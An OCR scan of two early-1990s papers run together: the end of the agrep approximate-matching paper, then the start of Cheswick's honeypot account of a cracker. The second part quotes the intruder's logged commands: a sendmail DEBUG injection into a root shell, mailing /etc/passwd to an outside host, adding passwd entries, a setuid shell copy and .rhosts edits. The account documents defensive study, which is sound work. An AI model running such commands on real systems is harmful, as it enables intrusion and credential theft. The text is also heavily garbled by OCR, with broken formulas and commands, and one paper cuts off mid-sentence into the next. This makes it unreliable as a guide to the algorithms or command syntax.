100% compatible), and which supports several important extensions to grep. Version 1.0 of agrep is available by
anonymous ftp from cs.arizona.edu (IP 192.12.69.5) as agrep/agrep.tar.Z. It has been developed on a SUN
SparcStation and has been successfully ported to DECstation 5000, NeXT, Sequent, HP 9000, and Silicon Graph­
ics workstations. We expect version 2.0 to be available (at the same place) by the end of 1991; most of the discus­
sion here refers to version 2. The three most significant features of agrep that are not supported by the grep family
are 1) searching for approximate patterns, 2) searching for records rather than just lines, and 3) searching for mul­
tiple patterns with AND (or OR) logic queries. (All 3 features are available in version 1.0.) Other features
include searching for regular expressions (with or without errors), efficient multi-pattern search, unlimited wild
cards, limiting the errors to only insertions or only substitutions or any combination, allowing each deletion, for
example, to be counted as, say, 2 substitutions or 3 insertions, restricting parts of the query to be exact and parts to
be approximate, and many more. Examples of the use of agrep are given in the next section.

Agrep not only supports a large number of options, but it is also very efficient. In our experiments, agrep
was competitive with the best exact string-matching tools that we could find (Hume's gre [Hu91] and GNU e?grep
[Ha89]), and in many cases one to two orders of magnitude faster than other approximate string-matching algo­
rithms. For example, finding all occurrences of Homogenos allowing two errors in a 1MB bibliographic text takes
about 0.2 seconds on a SUN SparcStation II. (We actually used this example and found a misspelling in the bib
file.) This is almost as fast as exact string matching.

This paper is organized as follows. We start by giving examples of the use of agrep that illustrate how flexi­
ble and. general it is. We then briefly describe the main ideas behind the algorithms and their extensions. (More
details are given in the technical report and man pages which are available by ftp.) We then give some experi­
mental results, and we close with conclusions.

2. Using Agrep

We have been using agrep for about 6 months now and find it an indispensable tool. We present here only a sam­
ple of the uses that we found. As we said in the introduction, the three most significant features of agrep that are
not supported by the grep family are

1. the ability to search for approximate patterns
for example, agrep -2 Homogenos bib will find Homogeneous as well as any other word that can
be obtained from Homogenos with at most 2 substitutions, insertions, or deletions. It is possible to assign
different costs to insertions, deletions, or substitutions. For example, agrep -1 -12 -D2 555-3217
phone will find all numbers that differ from 555-3217 in at most one digit. The -I (-D) option sets the cost
of insertions (deletions); in this case, setting it to 2 prevents insertions and deletions.

2. agrep is record oriented rather than just line oriented
a record is by default a line, but it can be user defined; for example, agrep -d ' "'From ' , pizza'
mbox outputs all mail messages that contain the keyword "pizza". Another example: agrep -d ' $$'

pattern foo will output all paragraphs (separated by an empty line) that contain pattern.

3. multiple patterns with AND (or OR) logic queries
For example, agrep -d ' "'From ' , burger, pizza' mbox outputs all mail messages containing
at least one of the two keywords (',' stands for OR); agrep -d ' -From ' , good; pizza' mbox
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outputs all mail messages containing both keywords (';' stands for AND).

Putting these options together one can ask queries like
agrep -d '$$' -1 '<CACM>iTheAuthoriCurriculumi<198[S-9]>' bib-file

which outputs all paragraphs referencing articles in CACM between 1985 and 1989 by TheAuthor dealing with
curriculum. One error is allowed in any of the sub-patterns, but it cannot be in either CACM or the year (the <>
brackets forbid errors in the pattern between them).

These features and several more enable users to compose complex queries rather easily. We give several
examples of the daily use of agrep from our experience. For a complete list of options, see the manual pages dis­
tributed with agrep.

2.1. Finding words in a dictionary
The most common tool available in UNIX for finding the correct spelling of a word is the program look, which
outputs all words in the dictionary with a given prefix. We have many times looked for spelling of words for
which we did not know a prefix. We use the following alias for findword:

alias findword agrep -i -!:2 !:1 /usr/dict/web2
(web2 is a large collection of words, about 2.5MB long; one can use lusr/dict/words instead.) For example, one
of the authors can never remember the correct spelling of bureaucracy (and he is irritated enough with it not want­
ing to remember). findword breacracy 2 searches for all occurrences of breacracy with at most two
errors. (web2 contains one more match - squireocracy).

One can also use the -w option which matches the pattern to a complete word (rather than possibly a sub­
word). In the example above, the extra match (squireocracy) will not be a match, because with the;'w option its
beginning (squi) will count as 4 extra errors.

2.2. Searching a Mail File
. We found that one of the most frequent uses of agrep is to search inside mail files for mail messages using the
record option. We use the following alias

alias agrnail agrep -!:2 -d '~From' !:1
Notice that it is possible with this alias to use complicated queries; for example,
agrnail , <pizza>i<great>iManbar' 1 mail/food, or
agmail ' \ . gov i October i surprise' 0 mail/ *, which searches all mail messages from .gov (a .
without the \ matches every character) that include the two keywords.

2.3. Extracting Procedures
It is usually possible to easily extract a procedure from a large program by defining a procedure as a record and
using agrep. Forexample, agrep -t -d ' ~}' , ~routine1' prog1/*.c > routine1.c will work
assuming routines in C always end with } at the beginning of a line (and that ''''routine1' uniquely identifies that
routine). One should be careful when dealing with other people's programs (because the conventions may not be

followed). Other programming languages have other ways to identify the end (or beginning of a procedure). The
-t option puts the record delimiter at the end of the record rather than at the beginning (which is more appropriate
for mail messages, for example).

2.4. Finding Interesting Words

At some point we needed to find all words in the dictionary with 4-7 characters. This can be done with one agrep
command agrep -3 -w -04 ' .... ' /usr/dict/words. (The -04 prevents deletions, and the . in
the pattern stands for any character.)
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We end this section with a cute example, which although is not important, shows how flexible agrep can be.
The following query finds all words in the dictionary that contain 5 of the first 10 letters of the alphabet in order:
agrep -5 ' a#b#c#d#eif#g#h#i#j' /usr/dict/words (the # symbol stands for a wild card of any
size - the same as .*). Try it. The answer starts with the word academia and ends with sacrilegious; it must mean
something..

3. The Algorithms

Agrep utilizes several different algorithms to optimize the performance for the different cases. For simple exact
queries we use a variant of the Boyer-Moore algorithm. For simple patterns with errors, we use a partition
scheme, described at the end of section 3.2, hand in hand with the Boyer-Moore scheme. For more complicated
patterns, e.g., patterns with unlimited wild cards, patterns with uneven costs of the different edit operations,
multi-patterns, arbitrary regular expressions, we use new algorithms altogether. In this section, we briefly outline
the basis for two of the interesting new algorithms that we use, the algorithm for arbitrary patterns with errors and
the algorithm for multi patterns. For some more details on the algorithms see [WM91, WM92].

3.1. Arbitrary Patterns With Errors
We describe only the main idea behind the simplest case of the algorithm, finding all occurrences of a given string
in a given text. The algorithm is based on the 'shift-or' algorithm of Baeza-Yates and Gonnet [BG89]. Let R be a
bit array of size m (the size of the pattern). We denote by Rj the value of the array R after the j character of the
text has been processed. The array Rj contains information about all matches of prefixes of P with a suffix of the
text that ends at j. More precisely, Rj[i] = 1 if the first i characters of the pattern match exactly the last i characters
up to j in the text. These are all the partial matches that may lead to full matches later on. When we read tj+l we
need to determine whether tj+l can extend any of the partial matches so far. The transition from Rj to Rj +1 can be
summarized as follows:

Initially, Ro[i] =0 for all i, 1Si Sm; Ro[O] =1.

. _ { 1 ifRj [i-l] =1and Pi =tj+l

Rj+dz] - 0 otherwise

IfRj+l [m] = 1 then we output a match that ends at position j +1 ;

This transition, which we have to compute once for every text character, seems quite complicated. How­
ever, suppose that m S 32 (which is usually the case in practice), and that R is represented as a bit vector using one
32-bit word. For each character Si in the alphabet we construct a bit array Si of size m such that Si[r]= 1 ifPr=Si.

(It is sufficient to construct the S arrays only for the characters that appear in the pattern.) It is easy to verify now
that the transition from Rj to Rj +1 amounts to no more than a right shift of Rj and an AND operation with Sit
where Si =tj+l. So, each transition can be executed with only two simple arithmetic operations, a shift and an

AND.2

Suppose now that we want to allow one substitution error. We introduce one more array, denoted by R),
which indicates all possible matches up to tj with at most one substitution. The transition for the R array is the
same as before. We need only to specify the transition for R 1. There are two cases for a match with at most one

. substitution of the first i characters ofP up to tj+l :

2 We assume that the right shift fills the first position with a 1. If only D-filled shifts are available (as is the case with C), then we can add one
more OR operation with a mask that has one bit Alternatively. we can we 0 to indicate a match and an OR operation instead of an AND; that
way, O-filled shifts are sufficient. This is counterintuitive to explain (and it is not adaptable to some of the extensions), so we opted for the
easier definition.
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S1. There is an exact match of the first i-I characters up to tj This case corresponds to substituting tj+l with Pi
(whether or not they are equal- the equality will be indicated in R) and matching the first i-I characters.

S2. There is a match of the firsti-l characters up to tj with one substitution and tj+l =Pi.

It turns out that both cases can be handled with two arithmetic operations on R 1. If we allow insertions,

deletions, and substitutions, then we will need 4 operations on R1. If we want to allow more than one error, then
we maintain more than one additional R 1 array. Overall, the number of operations is proportional to the number

of errors. But we can do even better than that.

Suppose again that the pattern P is of size m and that at most k errors are allowed. Let r = Lk:1J; divide P

into k+1 blocks each of size r and call them PI, P 2, ... , P1+1' If P matches the text with at most k errors, then at
least one of the P/s must match the text exactly. We can search for all P/s at the same time (we discuss how to
do that in the next paragraph) and, if one of them matches, then we check the whole pattern directly (using the

previous scheme) but only within a neighborhood of size m from the position of the match. Since we are looking

for an exact match, there is no need to maintain the additional vectors. This scheme will run fast if the number of

exact matches to anyone of the Pj'S is not too high.

The main advantage of this scheme is that the algorithm for exact matching can be adapted in an elegant
way to support it. We illustrate the idea with an example. Suppose that the pattern is ABCDEFGHIJKL (m = 12)
andk=3. We divide the pattern into k+l=4 blocks: ABC, DEF, GHI, and JKL. We need to find whether any of

them appears in the text. We create one combined pattern by interleaving the 4 blocks: ADGJBEHKCFIL. We
then build the mask vector R as usual for this interleaved pattern. The only difference is that, instead of shifting
by one in each step, we shift by four! There is a match if any of the last four bits is 1. (When we shift we need to
fill the first four positions with 1's, or better yet, use shift-OR.) Thus, the match for all blocks can be done exactly

the same way as regular matches and it takes essentially the same running time.

The algorithm described so far is efficient for simple string matching. But more important, it is also adapt­
able to many extensions of the basic problem. For example, suppose that we want to search for ABC followed by
a digit, which is defined in agrep by ABC[0-9]. The only thing we need to do is in the preprocessing, for each
digit, allow a match at position 4. Everything else remains exactly the same. Other extensions include arbitrary
wild cards, a combination of patterns with and without errors, different costs for insertions, deletions, and/or sub­

stitUtions, and probably the most important, arbitrary regular expressions. We have no room to describe the imple­
mentation of these extensions (see [WM91]). The main technique is to use additional masking and preprocessing.
It is sometimes relatively easy (as is the case with wild cards) and it sometimes requires clever ideas (as is the case
with arbitrary regular expressions with errors). Next, we describe a very fast algorithm for multiple patterns
which also leads to a fast approximate-matching algorithm for simple patterns.

3.2. An Algorithm for Multi Patterns

Suppose that the pattern consists of a set of k simple patterns PI, P 2, ... , Pic, such that each Pi is a string of m char­
acters from a fixed alphabet:E. The text is again a ~ge string T of characters from:E. (We assume that all sub­
patterns have the same size for simplicity of description only; agrep makes no such assumption.) The mulli­
pattern string matching problem is to find all substrings in the text that match at least one of the patterns in the set.

The first efficient algorithm for solving this problem is by Aho and Corasick [AC75], which solves the prob­
lem in linear time. (This algorithm is the basis of fgrep.) Commentz-Walter [CW79] presented an algorithm

which combines the Boyer-Moore technique with the Aho-Corasick algorithm. The Commentz-Walter Algorithm
is substantially faster than the Aho-Corasick algorithm when the number of patterns is not too big. The pattern
matching tool gre [Hu91] (which covers almost all functions of egrep/grep/fgrep) developed by Andrew Hume

has incorporated the Commentz-Walter algorithm for the multi-pattern string matching problem.
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Our algorithm uses a hashing technique combined with a different Boyer-Moore technique. Instead of
building a shift table based on single characters, we build the shift table based on a block of characters. (The idea
of using a block of characters was first proposed by Knuth-Morris-Pratt in section 8 of [KMP77].) Like other
Boyer-Moore style algorithms, our algorithm preprocesses the patterns to build some data structures such that the
search process can be speeded up. Let c denote the size of the alphabet, M =k .m, and b=r10gcMl. We assume
that b ~ m/2. In the preprocessing, a shift table SHIFT and a hashing table HASH are built We look at the text b
characters at a time. The values in the SHIFf table determine how far we can shift forward during the search pro­
cess. The shift table SHIFT is an array of size cb

• Each entry of SHIFT corresponds to a distinct substring of
length b. Let X =XIX2 ••• Xb be a string corresponding to the i'th entry of SHIFT. There are two cases: either X
appears somewhere in one of the Pj'S or not. For the latter case. we store m-b+I in SHIFT[i]. For the former
case, we find the rightmost occurrence of X in any of the Pj's that contain it; suppose it is in PJ and that Xends at
position q ofP,. Then we store m-q in SHIFT [i].

If the shift value is > 0, then we can safely shift. Otherwise, it is possible that the current substring we are
looking at in the text matches some pattern in the pattern list. To avoid comparing the substring to every pattern in
the pattern list, we use a hashing technique to minimize the number of patterns to be compared. In the preprocess­
ing we build a hash table HASH such that a pattern with hash value j is put in a linked-list pointed to by HASH U].
SO, in the search process, whenever we are going to compare current aligned substring to the patterns, we first
compute the hash value of the substring and compare the substring only to those patterns that have the same hash
value. The algorithm for searching the text is sketched in Figure 1.

The multi-pattern matching algorithm described above can be used to solve the approximate string-matching
problem. Let P =Pl ,P2 ,... ,PM be a pattern string, and let T = alta2, aN be a text string. We partition Pinto
k+ 1 fragments P ltP2, ... ,Pk+lt each of size m =M/(k+l). Let Tij =ai, ,aj be a substring of T. By a pigeonhole
principle, if Tij differs from P by no more than k errors, then one of the fragment must match a substring of Tij
exactly.

The approximate string matching algorithm is conducted in two phases. In the first phase we partition the
pattern into k + 1 fragments and use the multi-pattern string matching algorithm to find all those places that contain
one of the fragments. If there is a match of a fragment at position i of the text, we mark the positions i - M +k to
i +M +k -m as a 'candidate' area. After the first phase is done we apply the approximate matching algorithm
described in section 3.1 to find the actual matches in those marked area. (If the pattern size is > 32, we use

Algorithm Multi-Patterns
Let P be the current position of the text;
while (P < N) /* N is the end position of the text */
(

blk_idx = map(ap-b+l ap-b+2 ... ap) /* map transforms a string of size b into an integer */

shift_value = SHIFT [blkjdx];
if (shift_value> 0) P =P + shift_value;
else

compute the hash value of ap-m+l ••• ap ;

compare ap - m+l ... ap to every pattern that has the same hash value;
if there is a match then reports ap- m+l ... ap ;

p=p+ 1;

Figure 1: A sketch of the algorithm for multi-pattern searching.
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Ukkonen's 0 (Nk) expected-time algorithm [Uk85].)

Our algorithm is very fast when the pattern is long and the number of errors is not high (assuming that
k < M IlogbM). Unlike the approximate Boyer-Moore string matching algorithm in [TU90], whose performance
degrades greatly when the size of the alphabet set is small, our algorithm is not sensitive to the alphabet size. For
example, for DNA patterns of size 500, allowing 25 errors, our algorithm is about two orders of magnitude faster
than Ukkonen's 0 (Nk) expected-time algorithm [Uk85] and algorithm MN2 [GP90] (which are the two fastest
algorithms among the algorithms compared in [CL90]). Experimental results are given in the next section. The
algorithm is very fast for practical applications for searching both English text and DNA data.

4. Experimental Results

We present four brief experiments. The numbers given here should be taken with caution. Any such results
depend on the architecture, ·the operating system, the compilers used, not to mention the patterns and test files.
These tests are by no means comprehensive. They are given here to show that agrep is fast enough to be used for
large files. Differences of 20-30% in the running times are not significant. Thus, all Boyer-Moore type programs
are about the same for simple patterns. Agrep seems better for multi patterns. For approximate matching, agrep is
one to two orders of magnitude faster than other programs that we tested. We believe that the main strength of
agrep is that it is more flexible, general, and convenient than all previous programs.

All tests were run on a SUN SparcStation II running UNIX. Two files were used, both of size 1MB, one a
sub-dictionary and one a collection of bibliographic data. The numbers are in seconds and are the averages of
several experiments. They were measured by the time facility in UNIX and only user times were taken (which
adds considerably to their impreciseness).

Table 1 compares agrep against other programs for exact string matching. The first three programs use
. Boyer-Moore type algorithms. The original egrep does not. We used 50 words of varying sizes (3-12) as patterns
and averaged the results.

text size

1Mb

200Kb

agrep

0.09
0.028

gre

0.11
0.024

e?grep

0.11
0.038

egrep

0.79
0.218

Table 1: Exact matching of simple strings.

Table 2 shows results of searching for multi patterns. In the first line the pattern consisted of 50 words (the
same words that were used in Table 1, but all in once) searched inside a dictionary; in the second line the pattern
consists of 20 separate titles (each two words long), searched in a bibliographic file.

pattern

50 words
20 titles

agrep

1.15
0.18

gre e?grep

2.57 6.11
0.71 1.53

fgrep

8.13
5.64

Table 2: Exact matching of multi patterns.

Table 3 shows typical running times for approximate matching. Two patterns were used - 'matching' and
'string matching' - and we tested each one with 1, 2, and 3 errors (denoted by Er). Other programs that we
tested did not come close.
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pattern Er= 1

'string matching' 0.26
'matching' 0.22

Er=2 Er= 3

0.55 0.76
0.66 1.14

Wu,Maober

Table 3: Approximate matching of simple strings.

Table 4 shows typical running times for more complicated patterns, including regular expressions. Agrep
does not yet use any Boyer-Moore type filtering for these patterns. As a result, the running times are slower than
they are for simpler patterns. The best algorithm we know for approximate matching to arbitrary regular expres­
sions is by Myers and Miller [MM89]. Its running times for the cases we tested were more than an order of mag­
nitude slower than our algorithm, but this is not a fair test, because Myers and Miller's algorithm can handle arbi­
trary costs (which we cannot handle) and its running time is independent of the number of errors (which makes it
competitive with or better than ours if the number of errors is very large).

pattern Er=O Er= 1 Er=2 Er=3

<Hom>ogenious 0.53 1.10 1.42 1.74
JACM; 1981; Graph 0.53 1.10 1.43 1.75
Prob#tic; Algo#m 0.55 1.10 1.42 1.76
<[CJ]ACM>; Prob#tic; trees 0.54 1.11 1.43 1.75
«[23]>-[23]*I<B>).*<Tr>ees 0.66 1.53 2.19 2.83

Table 4: Approximate matching of complicated patterns.

5. Conclusions
Searching text in the presence of errors is commonly done 'by hand' - one tries many possibilities. This is frus­
trating, slow, and with no guarantee of success. Agrep can alleviate this problem and make searching in general
more robust. It also makes searching more convenient by not having to spell everything precisely. Agrep is very
fast and general and it should find numerous applications. It has already been used in the Collaboratory system
[HPS90], in a new tool (under development) for locating files in a UNIX system [FMW92], and in a new algo­
rithm for finding information in a distributed environment [FM92]. In the last two applications, agrep is modified
in a novel way to search inside specially compressed files without having to decompress them first
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An Evening with Berferd
In Which a Cracker is Lured, Endured, and Studied

Bill Cheswick

AT&T Bell Laboratories

Abstract

On 7 January 1991 a cracker, believing he had discovered the famous sendmail DEBUG hole in our Internet gateway
machine, attempted to obtain a copy of our password file. I sent him one.

For several months we led this cracker on a merry chase in order to trace his location and learn his techniques. This
paper is a chronicle of the cracker's "successes" and disappointments, the bait and traps used to lure and detect him,
and the chroot "Jail" we built to watch his activities.

We concluded that our cracker had a lot of time and persistence, and a good list of security holes to use once he
obtained a login on a machine. With these holes he could often subvert the uucp and bin accounts in short order, and
then root. Our cracker was interested in military targets and new machines to help launder his connections.

This is a draft of a paper accepted for the January 1992 San Francisco Usenix.

1. Introduction

Our secure Internet gateway was firmly in place by the spring of 1990[1]. With the castle gate in place, I wondered
how often the lock was tried. I knew there were barbarians out there. Who were they? Where did they attack from
and how often? What security holes did they try? They weren't doing any damage to AT&T, merely fiddling with the
door. The ultimate fun would be to lure a cracker into a situation where we log his sessions, learn a thing or two, and
warn his subsequent targets.

The owner ofan average workstation on the Internet has few tools for answering these questions. Commercial systems
detect and report some probes, but ignore many others. Our gateway was producing 10 megabytes of detailed logs
each day for the standard services. How often were people trying to use the services we did not support?

We added a few fake services, and I wrote a script to scan the logs daily. This list of services and other lures has
grown-we now check the following:

• FTP: The scanner produces a report of all login names that were attempted. It also reports the use of a tilde (a
possible probe of an old FTP bug), all attempts to obtain FfP's /ete/passwd and fete/group files, and
a list of all files stored in the pub directory. People who obtain the passwd file are often looking for account
names to try, and password entries to crack. Sometimes system administrators put their real password file in the
FrP directory. We have a bogus file whose passwords, when cracked, are why are you wasting your time.

• Telnetllogin: All login attempts are logged and reviewed daily. It is easy to spot when someone is trying many
accounts, or hammering on a particular account. Since there are no authorized accounts for Internet users on our
gateway other than guard, it is easy to pick out probes.

• Guest/visitor accounts: A public computer account is the first thing a cracker looks for. These accounts provide
friendly, easy access to nearly every file in the machine, including the password file. The cracker can also get a
list of hosts trusted by this machine from the / etc/hosts. equiv and various personal. rhosts files. Our
login script for these accounts look something like this:

USENIX - Winter "92 163



An Evening with Berferd ••• Cheswick

exec 2>/dev/null # ensure that stderr doesn't appear
trap 1It1 1
/bin/echo
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER"

upasname=adm /bin/mail ches dangelo &
# (notify calling machine's administrator for some machines ... )
# (finger the calling machine ... )

2>&1 I mail ches dangelo

/bin/echo "/tmp full"
sleep 5
/bin/echo II/tmp full"
/bin/echo "/tmp full"
/bin/echo
sleep 60

# I love to make them wait ....

# ... and simUlating a bUsy machine is useful

We have to be careful that the caller doesn't see our error messages if we make a mistake in this script. Note that
$CALLER is the name or IP number of the machine on the other end. It is available to the user's environment
through modifications to our telnetd and login programs.

• SMTP DEBUG: This command used to provide a couple of trap doors into sendmail. All the vendors seemed to
clean up this famous hole quite a while ago, but some crackers still try it occasionally. The hole allowed outsiders
to execute a shell script as root. When someone tries this on our machine, I receive the text that the cracker
wishes to have executed.

• Finger: Finger provides a lot of information useful to crackers: account names, when the account was last used,
and a few things to try as passwords. Since our corporate policy does not allow us to provide this information, we
put in a service that rejects the call after fingering the caller. (Obviously we had to take steps to avoid fingering
loops if the finger came from our gateway.) It turns out that we receive about a dozen finger requests per day, and
they are mostly legitimate. We now print useful information for general queries, but mail an alarm if someone
wants specific information about bogus accounts.

• Rloginlrsh: These commands rely on a notoriously insecure authentication system, which we do not support. But
we do mail reports of attempts to use them along with reverse finger information and particulars like the user
name and desired command.

Many of these detectors perform a "reverse finger" to the calling machine. These fingers can often locate the calling
user on a busy machine after several probes, and even identify the previous hop on a laundered call.

When a probe appears to have no legitimate purpose, I send a message like the following:

inetfans postmaster@sdsu.edu

Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
from our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.

Just thought you'd like to know.

Bill Cheswick

This is a typical letter. It is sent to 'inetfans' which consists of the Computer Emergency Response Team (CERT), a
log, and some interested parties, plus someone who is likely to care at the offending site.

Many system administrators take these reports quite seriously, especially the military sites. Generally, system admin­
istrators are quite cooperative in hunting down these problems. Responses to these letters included apologies (some
lengthy), bounced messages, closed accounts, several tighter routers, and silence. When a site seems willing to sponsor
repeated cracker activity we consider refusing all packets from them.
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2. Unfriendly Acts

We've been running this setup since July 1990. Probe rates go up during college vacations. Our rate may be
higher than most, because we are well-known and considered by some to be 'The Phone Company."

When a caller fetches thepas swd file during a long session, it is notalways clear that he has evil intentions. Sometimes
they are just checking to see ifany transfer will work.

The following log, from 15 Jan 1991, shows decidedly unfriendly activity:

19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
19:43:14 smtpd[27466]: DEBUG attempt
19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:</dev/null>
19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
19:43:34 smtpd[27466]: HELO from
19:43:34 smtpd[27466]: <--- 250 inet.att.com
19:43:42 smtpd[27466]: -------> mail from: </dev/null>
19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to:</dev/AHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAH
19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<lsed -e '1,/AS/'d I /bin/sh i exit 0">
19:44:44 smtpd[27466]: shell characters: Ised -e 'l,/AS/'d I /bin/sh i exit 0"
19:44:45 smtpd(27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with <CRLF>.<CRLF>
19:45:04 smtpd(27466]: <--- 250 OK
19:45:04 smtpd(27466]: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
19:45:08 smtpd(27466]: finished.

This is our log of an SMTP session. These arcane sessions are usually carried out between two mailers. In this case,
there was a human at the other end typing (and mistyping) commands to our mail demon. The first thing he tried was
the debug command. He must have been surprised when he got the "250 OK" response. The key line is the rcpt
to: command entered at 19:44:44. The text within the angled brackets ofthis command is usually the address of a
mail recipient. Here it contains a command line. Sendmail used to execute this command line as root when it was in
debug mode. The text of the actual mail message (not logged) is piped through

sed -e '1,/AS/'d I /bin/sh ; exit 0"

which strips off the mail headers and executes the rest of the message as root. The text of the message was mailed to
me. Here were two of these probes as I logged them, including a time stamp:

19:45
19:51

mail adrian@embezzle.stanford.edu </etc/passwd
mail adrian@embezzle.stanford.edu </etc/passwd

He wanted us to mail him a copy of our password file, presumably to run it through a password cracking program.
Each of these probes came from a user adrian on EMBEZZLE.STANFORD.EDU. They were overtly hostile, and came
within half an hour of the announcement of U.S. air raids on Iraq. I idly wondered if Saddam had hired a cracker or
two. I happened to have the spare bogus passwd file in the FIP directory, so I mailed that to him with a return address
of root. I also sent the usual letter to Stanford.

The next morning I heard from the folks at Stanford: they knew about it, and were working on the problem. They also
said that the account adrian had been stolen.
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The following Sunday morning I received a letter from France:

To: root@research.att.com
Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100

I have just ~losed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
(she) has left a file called passwd. The contents are:

>From root@research.att.com Tue Jan 15 18:49:13 1991
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
From: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
To: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVOw:0:2:0000-Admin(OOOO) :/:
Daemon: *: 1: 1: OOOO-Admin"(OOOO) : /:
Bin: *:2:2:0000-Admin(OOOO) :/bin:
Sys: *:3:3:0000-Admin(0000) :/usr/v9/src:
Adm: *:4:4:0000-Admin(0000) :/usr/adm:
Uucp: *:5:5:0000-uucp(OOOO) :/usr/lib/uucp:
Nuucp: *:10:10:0000-uucp(0000) :/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal ..Q:200:1:me:/u/ches:/bin/sh
Dmr: a98tVGIT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R

Please let me know if you heard of him.

Cheswick

My bogus password file had traveled to France! A configuration error caused our mailer to identify the password text
as RFC 822 header lines, and carefully adjusted the fonnat accordingly. The first letter was capitalized, and there was
a space added after the first colon on each line.

3. An Evening with Berferd

On Sunday evening, January 20, I was riveted to CNN like most people. A CNN bureau chief in Jerusalem was
casting about for a gas mask. I was quite annoyed when my tenninal announced a security event:

22:33 finger attempt on berferd

Acouple ofminutes later someone used the debug command to submit commands to be executed as root-he wanted
our mailer to change our password file!

22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" »/etc/passwd
cp /bin/sh /tmp/shell
chmod 4755 /tmp/shell

Again, the connection came from EMBEZlLE.STANFORD.EDU.

What should I do? I didn't want to actually give him an account on our gateway. Why invite trouble? I would have
no keystroke logs of his activity, and would have to clean up the whole mess later.

Y'd like to string him along a little to see what other things he had in mind. Perhaps I could emulate the operating
system by hand. This means that I'd have to teach him that the machine is slow, because I am no match for a MIPS
M/120. It also meant that I would have to create a somewhat consistent simulated system, based on some decisions I
made up as I went along. I already had one Decision, because he had received a password file:
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Decision 1 Ftp'spasswordfile was the real one.

Here were a couple more:

An Evening with Berferd .••

Decision 2 The gateway machine is poorly administered. (After all, it had the DEBUG hole, and the FTP
directory should never contain a real passwordfile.)

Decision 3 The gateway machine is terribly slow. It could take hoursformail to get through--even overnight!

So I wanted him to think he had changed our password file, but didn't want to actually let him log in. I could create
an account, but make it inoperable. How?

Decision 4 The shell doesn't reside in /bin, it resides somewhere else.

This decision was pretty silly, but I had nothing to lose. I whipped up a test account b with a little shell script. It would
send me mail when it was called, and had some sleeps in it to slow it down. The caller would see this:

RISC/os (inet)

login: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved

Shell not found

Decision 3 explained why it took about ten minutes for the addition to the password file. I changed the b to beferdd
in the real password file. While I was setting this up he tried again:

22:41 echo "bferd ::301:1::/:/bin/sh" » /etc/passwd

Here's another proposed addition to our password file. He must have put the space in after the login name because the
previous command hadn't been "executed" yet, and he remembered the RFC 822 space in the file we sent him. Quite
a flexible fellow, actually. He got impatient while I installed the new account:

22:45 talk adrian@embezzle.standAHford.edu
talk adrian@embezzle.stanford.edu

Decision 5 We don't have a talk command.

Decision 6 Errors are not reported to the invader when the DEBUG hole is used. (I assume this is actually
true anyway.) Also, any erroneous commands will abort the script and prevent the processing offurther
commands in the same script.

The talk request had come from a different machine at Stanford. I notified them in case they didn't know. I checked
for Scuds on the TV.

He had chosen to attack the berferd account. This name came from the old Dick Van Dyke show when Jerry Van
Dyke called Dick "Berferd" "because he looked like one." It seemed like a good name for our cracker.

There was a flurry of new probes. I guess Berferd dido't have cable TV.

22:48
22:48
22:49
22:51
22:51

Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
Attempt to login to inet with bferd from embezzle.Stanford.EDU
(Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
Attempt to login to inet with bferd from embezzle.Stanford.EDU
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22:51
22:55
22:57
22:58
22:58
23:05

23:06
23:06
23:08

Attempt to login to inet with bferd from embezzle.Stanford.EDU
echo "bfrd ::303:1::/tmp:/bin/sh" » /etc/passwd
(Added bfrd to the real password file.)
Attempt to login to inet with bfrd from embezzle.Stanford.EDU
Attempt to login to inet with bfrd from embezzle.Stanford.EDU
echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle. stanford. edu"»/etc./ "H"H"H
Attempt to login to inet with guest from rice-chex.ai.mit.edu
echo "36.92.0.205 embezzle.stanford.edu" » /etc/hosts
echo " embezzle.stanford.edu adrian"»/tmp/.rhosts

Apparently he was trying to rlogin to our gateway. This requires appropriate entries in some local files. At the time
we did not detect attempted rlogin commands.

23:09
23:10
23:14

Attempt to login to inet with bfrd from embezzle.Stanford.EDU
Attempt to login to inet with bfrd from embezzle.Stanford.EDU
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -auxlmail adrian@embezzle.stanford.edu

Following the presumed failed attempts to rlogin, Berferd wanted our inetd. conf file to discover which services
we did provide. I didn't want him to see the real one, and it was too much trouble to make one.

Decision 7 The gateway computer is not deterministic. (We've always suspected that ofcomputers anyway.)

23:28 echo "36.92.0.205 embezzle.stanford.edu" » /etc/hosts
echo tlembezzle.stanford.edu adrian II » /tmp/.rhosts
ps -auxlmail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf

